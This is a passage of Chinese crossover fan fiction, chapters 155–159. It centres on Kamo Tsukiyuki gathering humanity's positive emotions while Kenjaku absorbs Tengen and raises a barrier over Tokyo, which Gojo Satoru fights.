“人世如潮,凡间为炉。人的情绪便如同这海浪般,翻翻覆覆,总有起伏。”加茂月行正身处在一个特殊的区域内,一根鲜艳的红丝线从他的手中垂落下去,垂入到那无尽的河流当中去,他没有与苍在一起,而是独自一人站在这里,目视着这奇妙的景象。在他的面前,一些无形的东西组合成了海洋的形状,一刻不停地运动着。 “你想要怎么做?”有人问他。 “你不是想知道我要用人类正面的情绪去做什么吗?”加茂月行垂眸,神情在此地愈发模糊,他的身姿高挑,在褪去了消瘦后,整个人有着一种柔韧清雅的气质,他说:“你不觉得很奇怪么?”他侧过头来:“就没有人思考过吗?如果人的负面情绪会凝结成咒灵,那他们的正面情绪都去哪里了?” 与他对话的人不语。 “这个世界就像是残缺的,如同裂开的太极,只有黑色的一方,”他将视线转回去道:“人们在这之中生活,只有负面的情绪被采集成咒灵,而咒灵天生就带有对人类的恶意。这些条例被写进了世界底层的运行规则中,并在其中又形成了一个小的病态的循环,人越是看不到希望就越绝望,以此来形成一片特殊的孕育咒灵的土壤。” “也像是个半成品,只做了一半就端了上来。人类困苦于咒灵的痛苦,但其实归根究底,都是世界本身的缺陷。”他说这些话的时候,目光平静又冷然,像是在叙说着什么本就是真理的知识,他笃定说:“如果不解决这个问题,人类只有有朝一日灭绝了,才能逃脱咒灵的纠缠。” 他没有谈及咒术师与普通人之间的不同与矛盾,也没有苛责人类这一族群本身的性质,而是直接说出——这都是世界出了问题,这句话。 “但你们感觉不到。咒术师们都察觉不到。”他说:“在臭物堆中待得久了,就不会觉得这里是臭的了。你们不知道什么是正常的。黑夜之后有白日,工作日后当有假日,天与地,日与月,男与女,生与灭,缺了一环,就是病了。这世间当要医治。” “这就是你的想法吗?”漫长的沉默后,另一人像是终于理解了他的话,开口问道:“你去收集人的正面的情感,是想要在这其中做些什么?你确定你能成功?” 加茂月行低低道:“只是想做,就去尝试一下。失败了又如何,又能损失我什么吗?我难道还是什么救世的类型?”他说完自己都笑了:“我不喜欢背负使命,尤其还是自己凭空臆想出来的使命。” 聆听的人不知道应该如何说话。他的观点和他的心态,都不是他身边的人能想出的。但他又觉得他的话是有道理的。他最后的回答也表明了他圆融的心态。这样的人,他看待事物的角度是脱离了桎梏的,本身的精神是自洽的,他若是想要做什么事,很少有失败的。 就算是失败,他也不会陷入疯狂。这一点,让这人感怀颇深,他淡淡道:“我就当你说的都是真的好了。反正这个咒术界现在我也不知道该拿它怎么办,你乐意捣弄就捣弄。将这些告知我你大概也有自己的用意,我会等着看的。” “而除了这些——” “我喜欢你的观点!”顿了下之后,他恢复了自己一贯的腔调,笑着说:“先不说前面的话实在太对了,这个咒术界本身就是有问题的,难怪我会觉得活的越来越辛苦;后面的态度,不将什么事都往自己身上揽,这样的人,才会活得愈发通透,不会有任何负担!” 他之后又问了许多的话,大都是有关加茂月行预备要行的计划的。但加茂月行没有道出太多,只说是到了关键点他自会知晓。他们二人之间的关系还没到那一步。最终,他要从这个地方离开了。 在离去前的最后,也不知是不是加茂月行的话戳中了他,让他联想到了什么,他叹息了一声,话语声破碎在空中:“要是我的一位朋友,在那年之时,也和你是一样的想法就好了……” 第156章 本身的交流 加茂家新家主的传闻也渐渐平息了下来。如果说清洗了一遍加茂家的事令人对其闻之生畏, 那么,在与五条悟交手后,不仅没有被痛揍一顿, 反倒让他在战后力竭昏倒下去,就给他的身上笼上了一层无限神秘之意。 这位新家主与五条悟的性格不同,哪怕是成为了如今的一家之主, 还是极少出现在人前,就算是加茂族的人, 也根本不能见到他。一众事宜皆有长老处理,决策层的人提拔了很多过去受不到重视的人, 一改从前的死水之态。 他是在研究着什么。 那一场不知何处的谈话好似梦境一般,什么都不曾留下。 加茂月行将那一根断掉的红丝线扔进了“河流”中, 他开始做最后的一点布置了。如果不能成功…… 特级咒灵们想要来救真人, 但他们不知道的是, 真人已经分裂成了不知道多少份,主意识已经浑浑噩噩到连人都认不出来了。就这样,那些加茂家中被选出来的研究员们还觉得有更多的尝试可以做, 如此这般毫无顾忌地肆意进行“人体”研究, 还不用承担一丝一毫来自心灵上的折磨, 这样爽快的事, 是他们从前想都不敢想的。 月行已经得到了他想要的,他逐渐将注意力从那处的研究中移开。裴真注意了一下综合进来的几个世界, 柯学中, 主角已经修得了圆满,成功地恢复了身体, 将工藤新一的名气打到了一个更高的层面;文野里,伊莎贝尔的动作刺激到了很多人, 前段时间的异能界中还爆发了一次大战,据说是国外的超越者出手,但最后就如同裴真所说,谁也没找到“书”;K中自己的本体已经坐在了石板的旁边,他伸出手,轻抚了一下其冰冷的边缘,感受着内里隐藏着的浩瀚能量,眸中的神色愈深。 FBI中的风祭野见接到了一处官方研究室给他打过来的电话,“你是说那截‘手指’丢了?”他面上露出一丝诧异。 对面的人急急忙忙地说了很多的话,大意是在解释他们的安保是最高等级的,但有人从外面暴力闯入,其手段凶残,来得也很突然,他们竭力抵抗,可最后还是被那人得逞了。 风祭野见笑了下道:“那些东西确实很难用现代化的武器来对付……” 不过这也没什么,用两面宿傩的手指来将黑衣组织引进一个死胡同后,它的作用也就消失了大半。将另一个带过来,起初的意思是稍作研究,探讨两面宿傩存在的形式,但后来发现意义不大,再加上这个国家的政府出巨资要解构,他也就放手让他们去做了。 当然,若是日后他的另一位马甲要与这位过去的诅咒之王为敌,现在在研究的这根手指,一样还是他们这方的一个砝码。不过,看样子是用不上了。 但他也可以据此知道,原著剧情中的关键点要来了。“可惜的是,”他坐在办公桌后,双手十指交叉,抵在下颌上,目光深沉地想到:“本体他,好像从来都不想去走剧情的样子。” 他这边的消息很快就传到了加茂月行那里,月行没有理会,继续去做自己的事。苍倒是留在了加茂家,可没人注意到他只是独自一咒灵待在那里,他静静地关注着所有,身姿隐秘又幽暗。 “我看到‘命运’将要在之后的一段时间翻腾。”黄金之王站在窗台前,他抬眼望着天上的夜空,口中忽然说出这样一句话。”像是水面上燃起了火,冬日里炙起了烈阳。”就是这样的东西。 “是……那位王的问题吗?”他身边非时院的人十分小心地问。 “不……我不能确定。”国常路大觉略微摇头:“我又不是‘三轮一言’,司掌的是‘预言’,我只能迷迷糊糊地看到一点端倪,就像是透露给我的一点征兆。至于更清晰的,那不是我的职权范围内。” “石板交给他,真的好吗?”这位非时院的人是国常路家的人,他大着胆子问。 国常路大觉笑着摇了摇头:“必须只能是王。石板只能交到王的手里。因为可以借此压制它的力量。他有想要做的事,我不确定他能不能做到,但如果可以,我希望他能真的是这‘命运’。” 黄金之王或许才是此时唯一的盟友。说服他,裴真透露出了一点计划。他也是现今唯一对接下来事有所预感的,他看到了“改变”,并对之后的世界颇为期待。 加茂月行是会向外寻求外力,可这“外力”也不是谁都能当的。就像他自那片山林中醒来,并回到了加茂家之后,他一次也没有主动去接触过主角团。五条悟是例外,如果想对咒术界做些什么,这个人他是避不开的。 “野心家有野心家要做的事,”在上次的交流中,他是这么和那个与自己相会在特殊空间的人说的:“你和我推荐的那几个人……高中生还是不要来打扰我了,让他们好好地去经营他们的友情吧。” 更主要的是,他们的实力并不足够,在接下里的事中,他们的术式予他无用。 那人有些失望,但还是没有就这些再说什么。 他们自此分开,一者终于开始了他接下来最重要的准备环节,一者又继续去做自己日常的事。接下来的很长一段时间,咒术界中没有再兴起加茂月行的新闻,连高专学院中,也收起了对他的质疑与怀疑,投入到了与临校的交战比赛中去。 月色正逐渐变得清晰。随着时间的推移,弯如银刀的月亮也开始渐渐地变得圆满起来。一阙半月挂在了天空上好长一段时间,而之后,它终是变成为了圆月,成为了一段时光度过的显露。 “剧情还会如原著般发生吗?”在心神中,有人在问其中一位马甲。 有一位女声回答:“可能会吧。但如果真的发生了,声势也不可能还和剧情中一样大。那个人是在吞噬了咒灵真人后,利用其‘无为转变’才掀起了那样一场现代化都市的全面暴乱。而这一次,没有‘真人’,只有他分裂出来的不知道多少个分体的,一支手臂而已。如果他真的要去做,我不知道他要付出多少努力。” 裴真并没有说话。石板的能量浩瀚无边,犹如天上的星辰一般,散布无有边际。他将自己的全部精神都投入其中,体会着其内危险又古老的隐秘。不需要担心自己被彻底卷入其中,因为外界有六道‘锚’在固定住自己,让他不需担忧迷失的风险。 “发生了不有趣,不发生就更无聊了。”一个年轻的男声说。是最近在修身养性的望川涉,因另外的马甲正处在关键时期,所以他也停了自己情报商的工作。毕竟相比较来于加茂月行那边的事来说,一点点精神上的小愉快还是能暂停一下的。裴真的马甲从来不会吝啬于给其他的“自己”帮助。 而身为他最初的马甲,望川涉并没有被配给拥有超凡能力的卡牌,可这也从来不是问题。不需说裴真本体的无色之王能够分散出眷属的力量,就是艾略特那边,他的异能力也能够随时加持在任何人身上。就算没有这些,他也不是不能够凭自己的能力来行动,比如前段时间,欧洲那边的异能战场上,他就凭借着自己的智慧和广大的人脉,在几个势力间左右横跳,攫取了大量的乐趣与利益。 他喜欢这样,动脑子来让情况变得更加……混乱。他的本质一直是中立混乱的。 “应该不会影响到我们。”风祭野见的声音成熟一些,这段时期坐办公室的工作让他说起话来温和从容:“如果没发生当然更好。再小的麻烦也是麻烦,极简的生活才轻松。如果他那边成功了,我们拥有了[黄金],或许我也可以从这位置上退下来了。相比较于现在的时光,果然还是从前的生活更适合我啊。”他不禁感叹。 “喂喂,不要这样啊,你都快要当上局长了吧,这可是那个国家绝对的高层,是这个星球上顶尖的国家,你就这样放弃,太、太让人难受了。”一道华丽的声线说,是最近练习了一种新唱腔的柳生明澈忍不住了。 “不用担心。”温柔的声音说,艾略特随意地坐在小屋窗前:“应该会推出一个前台人替代他。我们‘自己’你还不知道吗?不是那种将自己的权益拱手让人的人,若是这样的性格,他也不能在那个组织中安然地存活下来。怕麻烦是他性格中的一样色彩,可与此同时,他会在终于准备好了后才对组织动手,说明了他这个人要真是退下了,他现在所在的那个势力……已然是全部落入他手中了。” “啊?”柳生明澈愣愣地想了下,感觉还真是这样。 “准备用傀儡么?”伊莎贝尔笑着说:“也终是快到时候了呀。你招揽人心的手段我还是相信的。普通人中的高位是有份量的,尤其是一个强大的国家,它的力量能为你随时取用。”她思索了下:“他们对异能者很渴求,所以当初才迫不及待地吸纳你。他们本身应当对你很看重,也有要吸收你的打算,但位置应该没有后来给出的高。” “没关系,”风祭野见说:“这本就是计划中的一环。用‘自己’的势,又有何妨?” 第157章 我不敢说 裴真马甲们的交流渐渐小了下去, 最后是艾略特讲述了一番自己在几个故事空间交融中得到的感悟。他们都静静地听着,直到各自回归到了各自处。 裴真从石板边睁开了眼睛。他含笑看向了远处,自己这方已经准备好了, 你那边又还要等多久呢? 从一片情绪的海洋中,加茂月行弯腰掬起一捧水,看它轻盈剔透, 恍若流金一般流泻而下,面上恍有所思。 是不是这类概念上的东西都是这般无形无质, 又神秘非凡。强自描绘,便给出一种你能理解的方式呈现在人前, 但与此同时,又有着一种你所在的维度绝不会有的美。 他想起了自己金手指中的能量。 时间如海上的浪潮, 不知何时就拍落在礁石上, 化作一堆泡沫流逝了。 巨大的树根屹立在原地, 一道清晰的脚步声在漫长的隧道中响起,墙壁上神秘的符文发出微微的光,内里的主人意识到了什么, 将目光投向那里。 脚步声依旧不疾不徐, 直到一个身材高大、脚着木屐, 穿着袈裟的长发的男人从其中走了出来, 内里的拇指状的结界体主人才出声道:“啊,我道是谁, 原来是你啊, 羂索。” “他”的声音古怪又奇异,很难说是一个人类, 也不知“他”性别。 重又换上了原来肉|体的羂索眯起眼睛,笑道:“天元, 好久不见了。你还是这样半死不活地活着啊。” 天元的形态不如说是咒灵,“他”语声平淡说:“好不容易逃出来,这么快就恢复精神了吗?” 夏油杰状态的羂索眼中闪过冷光,他依旧是笑着的:“果然还是什么都瞒不过你。你还是和以前一样,知道的东西永远最多,但永远也没办法走出这个你为自己设立的‘牢笼’。” 天元不为所动,“他”静声道:“总是要付出代价的。你过来,又是为了什么呢?” 这里是薨星宫,是“他”用不死术式创造出的结界空间,再加上外面还有咒术界的人看守着,按理说,羂索是进不来这里的。可他既然来了,就必定有自己的目的。 羂索站在出口的地方,他施施然道:“可你既然知道的那么多,那你知道那位加茂家新家主的事吗?” “譬如说,他是如何从一介支脉的弱小者,变为了现在这个强大无比的人。再加上他身边的那个咒灵,又是为何会如此听从他的话的?他们之间的关联是什么?”他笑嘻嘻地问出这些话,目光不离天元那张诡异的脸上。 就好似他真的只是单纯的好奇。 天元沉默了一阵,最终“他”道:“这一点你不是应该最清楚的么?他先前可没有表现出来什么力量,自从你进入之后,他施展出的手段,虽然变化了样式,可那其中,不都是包含了你的术式?” “我还以为,”“他”慢吞吞地说:“他会是你的传承者什么的……” “别开玩笑了!”羂索冷声打断了他的话,他语声寒峻:“别以为我不知道你能看到我逃出来的样子。他要是我的人,我何必还要担心五条悟?” 天元依旧是不急不缓:“那你就应该知道,我虽是可以利用结界观察到所有,可本身就有结界的,是能阻断我目光的。加茂家是遭了一劫,可它的底蕴没有丢,御三家中发生的所有事,我都是全然不知的。” “那那个咒灵呢?”羂索问:“它诞生的地方已经查清了,发生了什么,你应该能清楚吧?” 天元再次沉默了。良久,“他”才低声说:“我不知道。” 羂索这次是真的气笑了:“是换星浆体的时候伤到了脑子么,天元,我记得你从前的时候不是这样没用的啊。” 天元瞥过他一眼:“羂索,你要知道,这个世界并不是只有咒术界的。” 羂索的笑收敛了起来。 天元仿佛看到了什么:“就是这个国家,超常的异能力也不是掌握在咒术师手中的。你虽是千年前的人,但想来也不会看不清现今的局势。你有与那位青之王遇到过吧,曾经我们需要花费那么多努力才能习得的术式与咒力,但只要成为‘王’们的眷属,就能自动拥有超凡的能力,甚至是那几个‘王’,在被选中前,都还只是最普通不过的人……” “而就是这样的他们,在国际的战场中,还是不能给这个国家带来胜利。”他的声音很低沉。 “你想表达什么,天元,”羂索闻言仔细地观察着他:“还是说,有其他地界的人插手了?” 羂索漠然道:“至于其它的,你知道的,我们都不在意那些。” 天元继续说:“我就算知道一点,也都只是些无关紧要的东西。要想明白更多,仅有那些是不够的。” 那个时候是有一个人在另一个层面看着他们的,而或许,现在的你我,也一样是在被人看着的! 感受着盯在自己身上的目光,耳中仿佛听见了一阵阵锁链转动的声音。天元注视着羂索,眼中流露出一种情绪。 “你……”羂索愕然。”是的,”天元低声道:“先不说我看到的本就不多,而就算是那么一点,我也没准备说出来。” “你没看错,羂索,”“他”道:“我只是——” “不敢说。” 羂索赫然抬头,他想要看一看这处薨星宫里是不是有第三个人。可是他找寻了许久,也没有见到第三个人的身影。没有贸然完全否决天元的说法,这位一直在转换身体的大咒术师看着自己的“朋友”,一时竟感到这处宫殿中有些阴森。 不再提起那个加茂家的人和咒灵的事,他垂下眸:“那既然如此,你也就对我没用了。”幸而他当初去往加茂家的时候,没有带上自己的这具肉身,让他不至于连“咒灵操术”的术式也没有了。 “你应当知道,我来到这里为的是什么吧?”还要将一些麻烦的人调遣出去,更是要不惊动某个最强。 天元看着他:“这不是个好时机,羂索。” 羂索道:“我已经准备了太久。这个时代已经集齐了所有条件。五条悟不能,其他人也不能阻止我,实现我一直以来的目标!” 天元的脸上好像出不来其它的表情,“他”平声说:“我不会让你成功的。” “哈哈哈哈,”羂索大笑起来,从袈裟大衣中伸出手,他目光灼然地看着那个古怪的灵体,道:“那就来看看各自的手段!” 巨大的树根里发生了强烈的震动,不久后,震动渐渐平息,一道穿着木屐的身影从中走出,他面上带着一抹闲适自在的笑,从事先就被毁坏掉的现代的监视器中走了过去。 天元就此失踪了。 这件事并没有引起轰动,因为咒术界的高层将之隐瞒了下去。五条悟收到消息的时候是在半夜,听闻后,他也只是简单回应了几句,就将手机放在一边,继续睡了过去。 他与天元之间的关系很复杂,二者之间并不能说是多友好。 他最近正处在一种低迷的状态,对于咒术界高层的命令更是充耳不闻。因为打了派过来的使者,高层特意开了个会来谴责他,这一次加茂家过来的人又恢复成了五长老,这让他颇为失望。 失望的他特意没有收敛地放出了六眼全部的气势,将在场的所有人都震晕了过去。这是他首次这样做,面对着上层的苛责,直接动用了武力,不再只是口中说说而已,这竟让所有的高层一时有些失语。 而后,面对着这样的现场,他轻讽地笑了下,径直离去了。 “反了!反了!”有老古董大呼,他气的浑身发抖:“这家伙居然真的敢这样做了!他这是终于忍不住了!” “他是受到什么刺激了?”有人更敏锐些:“好像和从前有了些变化。” “都已经不是最强了,还敢摆出这样的谱子,他难道不明白,现在已经和从前不一样了!” “他是真的想动手,”有人恐惧到唇舌打颤:“我能感觉到,那股杀气——” “加茂长老,我可以知道贵家主什么时候有空吗,小女临近成年,召开生日宴会,想要请月行家主前来赴宴……” 而就是在这样的状况下,五条悟基本已经断了与上层之间的关联,在某一个时分,一件蓄谋已久的灾难,终是在某一座城市中发生了。 一处巨大的结界在其上方生成。 第158章 再等一等 一个巨大的像是蓝黑色罩子一样的东西突然出现在这座现代化的都市中。 “诶, 这是什么,是政府弄出来的虚拟投影么?”有穿着时尚的女孩子一手拿着手机,一手好奇地往前摸了摸那道诡异的屏障, 满脸不解。 人来人往的十字路口中,有商家在外放着流行的音乐。不少人都注意到了这里,他们窃窃私语地讨论着这边, 有人往后退出好几步,也有人往前来凑热闹。 “肯定是那些资本家们新搞出来的东西!”有遇事不顺的男人东倒西歪地大声嚷嚷:“为的就是收割人们的钱!”看样子没少喝。 这一奇妙的现象很快就引起了人们的关注, 短视频在网上传开,一些电视台也开始播放出来, 将消息扩散了出去。 “天元……我是不死……全知的……嘻嘻,早就应该吞噬你了……你早就该是我的……我就是新世界的神……”一个古怪的堆砌起来的怪物在巨大的罩子中心缓缓挪动着, 它看不出多少人形, 唯有其上数对的眼睛在不停地眨动着。 “他现在这样还有原本的理智么?”花御在一边担忧地看着这一幕。 “成与不成不都是已经做了吗?”漏瑚在一旁束手观望着:“我们的计划已经实施了, 没有了退路。再说了,这是他自己决定的,那个家伙有独自的心思, 他和我们从来就不是一路人。” 陀艮有些兴奋地在一边挥舞着触手, 表达自己的心意。 “啊~”中心的怪物突然往四周望了望:“原来你是这样的感受……”它声音像是两人重叠在一起, “这个世界果然……不止是咒术……” “可正是如此, 我才越要超越过往……我要到达一个更高的层次……咕咕,我要超脱人这一概念……噜……” “他在说些什么?”花御还是很好奇。 “别管他了。”漏瑚一转身:“五条悟就交给他处理了, 那样东西也在他身上。我们有自己的事要去做。” “是吗?”花御最后看了那怪物一眼, 也跟着离开了,“希望我们的事能成功吧, 最好能少些牺牲。” 这些特级的咒灵们消失在了原地。 “目前这一奇异的现象已经笼罩住了半个东京,”电视台中, 打扮素雅的女主持人面容沉稳地说:“它们尚还不知是如何形成的,也不知会给人们带去怎样的影响。对于这一疑惑,本台不仅已经派去了记者赶赴到了第一现场,也还邀请来了政府中的专业人员,现在就由他们来为我们讲解一番……” “啊,”横滨市的侦探社中,披着衣服的乱步蹲着身子看着这项播报,他忽然开口道:“我记得国木田前段时间是去东京出差的吧?” “已经在回来的路上了哦。”一旁的太宰治笑眯眯地回答道:“昨天的车票,恰好早了一天。” 乱步点了点头:“那就好。这次的可不是个小事件呢。” “嗯?”太宰治好奇道:“发生了什么?” “可能会死很多人。”乱步面容严肃,他想了想说:“就像一个故事的结尾处总要去面对大魔王一般,东京现在就是一样的情况。” 太宰治有些讶异:“那位也会容许这样的事发生?” 乱步又略略思考了一刹:“他阻止不了的都是突发的事件。现在这事依旧还是在突然发生的时间内。又或者,他会忍耐,只是为了,能更彻底地将之根除。” “太宰,”乱步堵住了太宰治接下来的话:“别忘了,我们的那位王已经老了,他已经顾及不了那么多了,‘黄金’可不是‘白银’,以他的性格,或许在走之前,想的是带点什么东西和他一起下去。” 太宰治也沉默了下来。 米花市中,工藤新一在毛利家与自己的女朋友一起在看着这起报道,毛利兰有些担忧道:“那是什么东西,里面的人都还能出来吗?他们会有人身安危吗?” 工藤新一想起了自己之前遇到的一系列的事,他连忙安抚道:“别担心,会有人去处理的。你不要忘了我们上次,在那列车上也还有公安和FBI在侧,这次这样大的事,国家肯定不能让它继续下去的。” 毛利兰被说服了,稍稍放松了下来。 在她看不到的地方,工藤新一的眼神沉肃,越是动用智慧,就越是知晓智慧也有力所不能及之处。他虽然同样担心那边的情况,但他也明白,自己这些人是无能为力的。 “希望不要再发生类似以前迦具都那里的事了。”工藤新一暗自在心里祈祷。 青之王的Scepter 4部门飞快地派出了所有的成员。宗像礼司在望着一处方向沉思。 咒术师们赶紧赶赴东京,五条悟也终于从懒散中转变了状态。“天元那老东西失踪了?”他挠了挠头:“那岂不是说整个日本的咒术结界网络都出问题了?” 手机对面的声音很暴躁。 五条悟一脸不在意:“还有什么能抵挡得住我……嗯,只要不是加茂家反叛了,决定要摘掉御三家的帽子……哈,”他打了个哈欠:“你们有联系那个人么,照理来说,这样的事,肯定要第一时间报告上去的吧?” “哼,”似是听到了什么,五条悟都气笑了:“你说你们联系不上那个人,那个人的咒灵你们也指挥不动……所以你们来找的我?” 对面的人像是在解释什么。 五条悟笑道:“好吧,我知道了,我会去的。只要你们不要再搞什么幺蛾子。并且,我希望能在那里面看到更多你们的人。” 那边的人在呐呐地说些什么。但五条悟已不耐烦听,他直接挂断了电话。“啧,”他拢了拢头上的白发,为自己换上了一件轻便的衣服:“居然真的什么都不管。也是,看样子你要搞的也是一件大事。怎么好像就我什么都不需要做一样。” 他是想要改变咒术界,不是想要见到它完全失控。咒灵的危害没有人比他更清楚了,他还没有失责到那种程度。 “不过,没关系,”他哼声笑道:“我一个人就可以将它完全解决了。根本不需要你出来。你就等日后好好地听着我五条少爷的丰功伟绩吧!”他自恋地一抚额头,整个人消失在原地。 东京陷入了一场末日之景。一道罩子将之两分,巨大的罩形从天上到地下将之全然包裹了进去。咒术界的人紧急派来专门的助手,将那些赶来的咒术师们送了进去,还有一些特殊的人,是拥有异能的人,他们的职责只是去救援其中的民众。 “这好像是……”一级咒术师日下部笃恍似察觉到了什么:“薨星宫?”他有些不确定道。 “什么是薨星宫?”他身旁的学生问。 日下部笃也烦躁地抓了把头发:“是天元的结界。那可不是个好对付的东西,啊,为什么失踪的要在这里出现,那些守卫的人是干什么吃的?” 好想退休啊,我为什么要出现在这里。哦,是来拯救人的。可是,有谁来救我呢?他面无表情。 五条悟对上了那个中心庞大无比的怪物。对方数对的眼睛也落在了浮在空中的五条悟身上,他身形格外渺小,但姿态闲适,脸上满是对眼前这一幕的毫不在意。 “哈哈,你过来了……”怪物的声线很奇怪。 “就是你吗?”五条悟只打量了一会就移开了眼睛:“弄出这样大的事,目的是什么?” “算了,”不待它回答,五条悟就径自说:“我也不在乎你的目的是什么,将你打倒就好了。那时一切就该结束了吧。” “何等的傲慢啊,五条家的神子,你可知我做出这一切,为的是怎样伟大的目标……”怪物似乎更清醒了些。 “「无量空处」。”五条悟完全不管它,他只是将双手比在胸前,无比冷漠地吐出这几个字。 一瞬间,领域降临了。 而在另一边,另一双暴虐无比的眼睛从虎杖悠仁的身上睁开了。 加茂月行从繁忙的“事物”中回过神来,他听见了外界传递过来的消息。 “你是说东京出了事?”加茂月行微微侧目,他的声音仿若叹息:“羂索都只剩下那么点了,还能搞出这样的事吗?” 只凭靠着一个五条悟,这个咒术界果然全是问题啊。 “我的事?快了,快了……”加茂月行看着面前的这一条情绪的河流,手中挽起了些什么,他垂下眸,其中无悲无喜:“再等一等。” 加茂家的主屋中,窗户全部关闭,屋内阴暗冷凉,一切都瞧不大清晰。一扇纸门将人完全关在了外面,五长老五体跪伏在地,他额头扣在冰凉的地面上,刚刚将东京的事报告了上去。他在恳求家主出手。 苍的身形隐没在角落的黑暗中,他没有开口说话,但还是将加茂月行的意思传达了出去。五长老愣了愣,他好像听见了家主的声音,却很缥缈失真。他不知是何故,也不敢再说,只又叩了叩,满怀焦躁不解地退了下去。 既然他说等一等,那他就只能等了。 加茂月行家主可和五条悟不一样。他威严甚重,加茂一家,是敬他如敬神。 不敢有一丝的冒犯与违抗。 所以他也就不知道,那扇脆弱无比的纸门后,只有苍端坐在其中,正“目”视着他离去的背影,唇边带着笑,没有丝毫动作。 加茂月行在很早以前就不在其间了。 第159章 “光” 东京陷入了一场前所未有的危机当中。 所有有空闲的咒术师们都赶往了这一座现代化的都市中, 这一次去的人要比原剧多很多,毕竟此时的这个国家,超凡界并非全部由咒术界掌管, 再加上还有异能科的存在,里面的情况一时竟没有陷入到完全的败坏混乱中去。 “我看到了……看到了,天地间的咒力流动, 那种奇妙的颜色……”被五条悟打得凄惨的怪物蠕动着又爬了起来,它一脸憧憬地望着什么都没有的天空, 口中念念有词:“以前的我,是何等的坐井观天, 我早该这样做的,天元天元, 你就是这样蹉跎了千年么!” 五条悟根本不管它说些什么, 在他看来, 连自己的一招「无量空处」都接不下的人,是没资格让他去听它的话的。他在天上看着它,澄澈的双眼中什么也没有, 而下一瞬, 他再次来到了这个预估是罪魁祸首的面前, 一拳就将它打得四散而开。 “嘻嘻, ”那怪物突然不再一副神游物外的样子了,它离得近的一双眼睛抖动看他:“你是打不死我的……五条悟, 因为十一年前的星浆体死亡事件, 天元自那时已经走入了另外一条道路。虽然那时他是以一个奇怪的面貌出现在我眼前的,但本质上, 他其实是一个更接近于咒灵的存在。人类的身份有什么好的呢,又弱又逃脱不了死, 可只要他放弃了以前的坚持,他就能升华成另一种永生的物种!” “而这,一切都是你们的错啊!!”它忽然大叫起来,身体重新聚集而成,它人立而起,猛地扑了上来:“是你们让他下定了决心,让他走无可走!也是因此,我才得到了这份力量,能够看到这个世界的本质……呜呜呜……”他倏然又哭起来,毫无预兆,尖细诡异。 “其实我并不想那样做的,因为太危险了,天元的状态太危险了!可是、可是,那个家伙!”它尖啸着道:“加茂月行!他打破了我所有的计划,还折磨我,压榨我,从他那里逃出来,我放弃了我大多数的灵魂,我只能行险。我要报复,我要让他也体验到我的痛楚……” 他的面上好似有另一张的脸出没。是那张非人般的天元的面孔。 五条悟有些惊讶:“你是说你之前就被那家伙给教训了一顿?!” 他停下了手,很快,他的脸上就浮现出了一抹失望:“什么嘛,原来早就是手下败将了。而且还是那个人的。”他好像一下子就失去了一部分的兴趣,摆了摆手,他道:“既然如此,我还是早点把你解决掉好了,要是慢了一点,岂不是说明我不如他了。””所以,”五条悟扣扣耳朵,他目光冷漠:“以上那些就是你的遗言了么?” “哈哈哈哈哈!”怪物陡然大笑起来,“五条悟,你别以为能在这里把我干掉,你即便强,但你远非是无懈可击的,看看我给你准备的珍贵的礼物,你会感谢我的!” 它“绽放”出身体,在它巨大无比的躯体中间,中心的位置,一个无比熟悉的人的身影出现在那里,他紧闭着双眼,冷淡的脸苍白无神。 “夏油……”五条悟瞬间瞪大眼,他的身躯颤抖了一下。 加茂本家中。 东京那边的水深火热没有打扰到这里一点。五长老从主屋的那边离开,有人赶紧迎了上来:“家主大人怎么说……” 五长老摇了摇头:“家主好像是在准备什么,要我们等一等。” “等一等?”来人有些失落,他喃喃自语道:“那我们就只能再等等了。” 他们没有等多久。因为加茂月行去到那个情绪之海中已经有一段时间了。 他起先去收集人类的正面情绪,后来就觉得这样的行动太没有效率了。他开始想要找到它们最终汇聚于何处。情绪并非是消散了,否则咒灵也不会诞生。他模仿着咒灵诞生的过程,创造出了一个专门的术式,只是它的目的是与之相反的正向情感。 直到它们越聚越多。可这样还不够。 他去往了一些在这过程中发现的特殊的节点。除开医院与墓地之外,最多的地方是——神庙。 袅袅的香火烟气中,寺院神庙中聚集了所有来上香的人的渴盼与期许,尤其是这个国家中还流行着神灵与妖魔的传说,还在节日期间展开庙会的风俗,有这样的背景和习俗,月行其实并不难收集到自己想要的东西。 直到他动用了加茂家的势力,将它们一一连接了起来。 无数的情绪汇聚而出,形成了类似河流海洋的地方。加茂月行行走在这虚无的河流旁边,有些时候,他也不禁在想,这莫不就是所谓的神灵与信仰? 但很快,他就推翻了自己这无端的猜测。因为他清楚的知道,这些情绪就只是情绪,虽然它们多种多样,包含了各类的情感,可它们就只是来源于人类的念头,并无其它身份。 它们清澈透亮,但并不代表它们就真是纯粹干净的。情绪总是复杂的,人不可能在产生一种情感时,不包含其它的思绪。加茂月行需要将它们提炼出来,摈除负面的,留下想要的。 也幸而这个咒术世界中有真人,这样一个咒灵,简直天生就能对人类的情感与情绪进行操纵,而解析了他,月行也得到了这种根本无法言明的能力。 在他身上的卡牌中,[科研狂人]的牌依旧是在熠熠闪着光。他身上的那缕红丝线已经不见了,像是被用在了某处,他也不关注外界的情况,只是在冷静从容地做自己的事。 直到一切都已准备就绪。 他从这无边的海洋河流中,将手中挽起的梦幻般金色之物往下一抛—— 恰如丰收的神女赐下麦穗,又如世外的仙灵洒下甘霖。 东京场中蓦然有人抬起头来,他的灵感被触动,意识到了有什么事正在发生,有什么东西正在被改变。而也有人看到的更多,他见到了有熟悉的身影站在另一层的界面,他手挽起流动的金色的液体,然后将它们抛向了人间。 一道黑红色的盒子在他的面前放大,眼见就要将他完全封印进去。 金色的人影瞥了他一眼,没有任何的动作。五条悟瞬间一惊,就要从原地逃脱出去。 “那是什么?!”他听见身前智珠在握的怪物突兀惨叫一声,像是几对眼睛被厉光刺伤。在他们的眼中,它看到原本漆黑无比的天空上倏然出现一抹薄薄的云雾一样的东西,它阻拦在咒力流动的路上,将其横亘在半途,恍如天上的河流。 另外一边的两面宿傩眼中迸出疑惑,他不理解这是什么,他从虎杖悠仁的眼中观察这个时代,据他所知,咒术界中从来就没有这东西。 他一见它,从身到心就生出了无比的厌恶,好似这是一种与他全然相反,格格不入的存在。只要有它,就是对他最大的威胁。 “真是恶心。”他皱起眉,抬头看着上方。 周围的咒术师们警惕地看着他,不知道这诅咒之王又是在发什么疯。 可他们的反应影响不到加茂月行。他甚至不是与他们站在同一个界面的。他只是紧紧地盯着这一件被他织起的物体,看它缓缓流动,逐渐要隐没在黑暗之中。 “还是不行么?”加茂月行心思一动,他的目光终于投向下方。 